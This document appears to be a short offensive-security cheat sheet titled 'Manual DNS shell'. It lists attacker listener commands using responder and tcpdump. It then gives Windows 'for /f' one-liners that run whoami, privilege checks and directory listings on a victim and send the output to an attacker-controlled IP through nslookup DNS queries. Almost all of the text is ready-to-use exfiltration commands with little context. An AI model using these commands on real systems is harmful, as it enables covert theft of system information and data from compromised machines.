Manual DNS shell

Attacker (Kali) must use one of these 2 options:

sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive

Victim

for /f tokens _**_technique: This allows us to execute commands, get the first X words of each line and send it through DNS to our server

for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one

You can also redirect the output, and then read it.

whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
